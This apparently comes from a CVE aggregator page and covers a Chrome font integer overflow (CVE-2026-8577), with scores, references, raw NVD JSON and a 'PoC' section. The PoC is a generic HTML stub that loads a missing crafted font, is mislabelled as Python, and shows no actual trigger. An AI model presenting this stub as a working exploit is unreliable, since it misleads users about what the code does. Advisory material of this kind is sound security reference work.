CVE-2026-8577

Description

Integer overflow in Fonts in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-8577 -->
<!-- This HTML demonstrates the trigger mechanism for the font parsing overflow -->
<!DOCTYPE html>
<html>
<head>
<style>
  /* Load a crafted font that triggers the integer overflow */
  @font-face {
    font-family: 'ExploitFont';
    src: url('crafted_exploit_font.woff2') format('woff2');
  }
  .vuln-text {
    font-family: 'ExploitFont', sans-serif;
    font-size: 40px;
  }
</style>
</head>
<body>
  <h1>CVE-2026-8577 PoC</h1>
  <div class="vuln-text">Rendering malicious text...</div>
  <script>
    // Optional: Use Canvas to force font rasterization
    const canvas = document.createElement('canvas');
    const ctx = canvas.getContext('2d');
    ctx.font = '40px ExploitFont';
    ctx.fillText('Trigger', 10, 50);
    console.log('Font rendered. Check browser crash or debugger.');
  </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8577
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8577
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8577/
[4] VulDB https://vuldb.com/cve/CVE-2026-8577
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/496302307

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8577", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:20.063", "lastModified": "2026-05-14T21:19:23.923", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow in Fonts in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-472"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/496302307", "source": "[email protected]"}]}}